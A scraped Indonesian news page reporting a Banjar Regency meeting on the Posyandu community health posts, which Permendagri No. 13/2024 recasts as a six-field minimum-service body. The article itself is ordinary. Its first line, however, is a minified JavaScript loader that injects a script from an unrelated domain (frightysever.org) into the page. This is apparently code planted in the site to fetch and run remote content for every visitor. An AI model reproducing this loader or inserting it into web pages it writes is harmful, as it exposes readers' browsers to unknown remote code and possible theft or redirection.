(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Terbitnya Peraturan Menteri Dalam Negeri (Permendagri) Nomor 13 Tahun 2024 menjadikan Pos Pelayanan Terpadu (Posyandu) kini resmi bertransformasi.
Perubahan ini menandai perluasan tugas Posyandu yang tidak hanya berfokus pada pelayanan kesehatan, tetapi juga mencakup enam Bidang Standar Pelayanan Minimal (SPM), yaitu pendidikan, kesehatan, pekerjaan umum, perumahan rakyat, ketentraman dan ketertiban umum serta perlindungan masyarakat dan sosial.
Hal tersebut disampaikan Bupati Banjar H Saidi Mansyur yang diwakili Staf Ahli Bupati Bidang Pemerintahan, Hukum, dan Politik, Dian Marliana, saat membuka Rapat Teknis Tim Pembina Posyandu tingkat Kabupaten, Kecamatan, Desa, dan Kelurahan se-Kabupaten Banjar Tahun 2025, dalam rangka Jambore Kader Posyandu Enam Bidang SPM, di Ballroom Hotel Grand Qin Banjarbaru, Kamis (27/11/2025) pagi.
Baca juga: Dua Jembatan di Jalan Lingkar Banjarbaru – Batulicin Ambles, PUPR Kalsel Langsung Lakukan Perbaikan
Dian Marliana menjelaskan bahwa visi Posyandu saat ini adalah “Transformasi Posyandu sebagai Lembaga Kemasyarakatan Desa/Kelurahan untuk Kesejahteraan Rakyat”.
Visi tersebut, papar dia, mencerminkan komitmen untuk melakukan langkah-langkah pembaruan guna memperkuat fungsi Posyandu.
Misinya adalah memperkuat peran Posyandu sebagai pos pelayanan terpadu untuk kesejahteraan rakyat, sekaligus mengoptimalkan peran Posyandu dalam memfasilitasi pelayanan enam bidang SPM.
“Posyandu harus menjadi mitra strategis pemerintah dalam menyediakan pelayanan terpadu,” ungkap dia.
Baca juga: Angkutan Berat Dibatasi H-2 dan H+ 2 5 Rajab di Sekumpul
Dian menambahkan, tujuan utama transformasi Posyandu adalah mendorong peran aktif masyarakat dalam pembangunan desa, meningkatkan kualitas hidup serta mendukung visi Presiden periode 2025 – 2029, “Bersama Indonesia Maju, Menuju Indonesia Emas 2045″.
Sebagai implementasi Permendagri Nomor 13 Tahun 2024, Pemerintah Kabupaten Banjar telah membentuk Tim Pembina Posyandu mulai dari tingkat kabupaten hingga desa dan kelurahan. Kehadiran tim ini diharapkan dapat memperkuat koordinasi dan kolaborasi dalam penguatan Posyandu di wilayah Kabupaten Banjar.
Baca juga: Wanti-wanti Sekda Banjarbaru ke Para Pengelola Keuangan
“Kami berharap seluruh tim pembina Posyandu dapat saling bekerja sama dan berkolaborasi untuk optimalisasi pelayanan enam bidang SPM demi kesejahteraan masyarakat Kabupaten Banjar,” harap Dian
Kegiatan ini juga dirangkai dengan peluncuran website Posyandu Kabupaten Banjar yang bertujuan mendekatkan dan meningkatkan kualitas pelayanan kesehatan masyarakat melalui pemanfaatan teknologi informasi. (kanalkalimantan.com/dkispbanjar)
Editor: Dhani
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More
This website uses cookies.